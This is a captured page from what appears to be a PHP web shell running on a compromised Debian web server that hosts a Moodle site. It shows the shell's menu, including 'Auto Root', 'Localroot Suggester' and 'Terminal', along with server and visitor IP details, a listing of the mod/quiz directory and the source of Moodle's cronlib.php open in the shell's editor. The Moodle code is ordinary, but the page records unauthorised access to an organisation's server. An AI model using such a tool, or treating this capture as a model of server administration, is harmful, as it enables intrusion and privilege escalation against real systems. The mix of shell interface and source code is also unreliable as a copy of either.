Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
quiz /
Delete
Unzip
Name
Size
Permission
Date
Action
accessrule
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
amd
[ DIR ]
drwxr-sr-x
2017-06-22 15:14
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:14
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:24
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
report
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
templates
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:25
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
accessmanager.php
19.94
KB
-rw-r--r--
2017-06-22 15:24
accessmanager_form.php
2.38
KB
-rw-r--r--
2017-06-22 15:24
addrandom.php
4.51
KB
-rw-r--r--
2017-06-22 15:24
addrandomform.php
4.13
KB
-rw-r--r--
2017-06-22 15:24
attempt.php
4.9
KB
-rw-r--r--
2017-06-22 15:24
attemptlib.php
95.09
KB
-rw-r--r--
2017-06-22 15:24
autosave.ajax.php
2.13
KB
-rw-r--r--
2017-06-22 15:24
comment.php
4.97
KB
-rw-r--r--
2017-06-22 15:24
cronlib.php
4.73
KB
-rw-r--r--
2017-06-22 15:24
edit.php
7.9
KB
-rw-r--r--
2017-06-22 15:24
edit_rest.php
8.19
KB
-rw-r--r--
2017-06-22 15:24
grade.php
3.48
KB
-rw-r--r--
2017-06-22 15:24
index.php
6.43
KB
-rw-r--r--
2017-06-22 15:25
lib.php
73.05
KB
-rw-r--r--
2017-06-22 15:25
locallib.php
84.43
KB
-rw-r--r--
2017-06-22 15:25
mod_form.php
31.01
KB
-rw-r--r--
2017-06-22 15:25
module.js
9.54
KB
-rw-r--r--
2017-06-22 15:25
override_form.php
9.97
KB
-rw-r--r--
2017-06-22 15:25
overridedelete.php
3.33
KB
-rw-r--r--
2017-06-22 15:25
overrideedit.php
7.1
KB
-rw-r--r--
2017-06-22 15:25
overrides.php
9.49
KB
-rw-r--r--
2017-06-22 15:25
processattempt.php
3.44
KB
-rw-r--r--
2017-06-22 15:25
questionbank.ajax.php
1.79
KB
-rw-r--r--
2017-06-22 15:25
renderer.php
53.66
KB
-rw-r--r--
2017-06-22 15:25
repaginate.php
1.94
KB
-rw-r--r--
2017-06-22 15:25
report.php
3.47
KB
-rw-r--r--
2017-06-22 15:25
review.php
9.37
KB
-rw-r--r--
2017-06-22 15:25
reviewquestion.php
4.24
KB
-rw-r--r--
2017-06-22 15:25
settings.php
11.71
KB
-rw-r--r--
2017-06-22 15:25
startattempt.php
4.23
KB
-rw-r--r--
2017-06-22 15:25
styles.css
23.94
KB
-rw-r--r--
2017-06-22 15:25
summary.php
3.26
KB
-rw-r--r--
2017-06-22 15:25
upgrade.txt
7.6
KB
-rw-r--r--
2017-06-22 15:25
version.php
1.04
KB
-rw-r--r--
2017-06-22 15:25
view.php
9.51
KB
-rw-r--r--
2017-06-22 15:25
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Library code used by quiz cron. * * @package mod_quiz * @copyright 2012 the Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->dirroot . '/mod/quiz/locallib.php'); /** * This class holds all the code for automatically updating all attempts that have * gone over their time limit. * * @copyright 2012 the Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_overdue_attempt_updater { /** * Do the processing required. * @param int $timenow the time to consider as 'now' during the processing. * @param int $processto only process attempt with timecheckstate longer ago than this. * @return array with two elements, the number of attempt considered, and how many different quizzes that was. */ public function update_overdue_attempts($timenow, $processto) { global $DB; $attemptstoprocess = $this->get_list_of_overdue_attempts($processto); $course = null; $quiz = null; $cm = null; $count = 0; $quizcount = 0; foreach ($attemptstoprocess as $attempt) { try { // If we have moved on to a different quiz, fetch the new data. if (!$quiz || $attempt->quiz != $quiz->id) { $quiz = $DB->get_record('quiz', array('id' => $attempt->quiz), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('quiz', $attempt->quiz); $quizcount += 1; } // If we have moved on to a different course, fetch the new data. if (!$course || $course->id != $quiz->course) { $course = $DB->get_record('course', array('id' => $quiz->course), '*', MUST_EXIST); } // Make a specialised version of the quiz settings, with the relevant overrides. $quizforuser = clone($quiz); $quizforuser->timeclose = $attempt->usertimeclose; $quizforuser->timelimit = $attempt->usertimelimit; // Trigger any transitions that are required. $attemptobj = new quiz_attempt($attempt, $quizforuser, $cm, $course); $attemptobj->handle_if_time_expired($timenow, false); $count += 1; } catch (moodle_exception $e) { // If an error occurs while processing one attempt, don't let that kill cron. mtrace("Error while processing attempt {$attempt->id} at {$attempt->quiz} quiz:"); mtrace($e->getMessage()); mtrace($e->getTraceAsString()); // Close down any currently open transactions, otherwise one error // will stop following DB changes from being committed. $DB->force_transaction_rollback(); } } $attemptstoprocess->close(); return array($count, $quizcount); } /** * @return moodle_recordset of quiz_attempts that need to be processed because time has * passed. The array is sorted by courseid then quizid. */ public function get_list_of_overdue_attempts($processto) { global $DB; // SQL to compute timeclose and timelimit for each attempt: $quizausersql = quiz_get_attempt_usertime_sql( "iquiza.state IN ('inprogress', 'overdue') AND iquiza.timecheckstate <= :iprocessto"); // This query should have all the quiz_attempts columns. return $DB->get_recordset_sql(" SELECT quiza.*, quizauser.usertimeclose, quizauser.usertimelimit FROM {quiz_attempts} quiza JOIN {quiz} quiz ON quiz.id = quiza.quiz JOIN ( $quizausersql ) quizauser ON quizauser.id = quiza.id WHERE quiza.state IN ('inprogress', 'overdue') AND quiza.timecheckstate <= :processto ORDER BY quiz.course, quiza.quiz", array('processto' => $processto, 'iprocessto' => $processto)); } }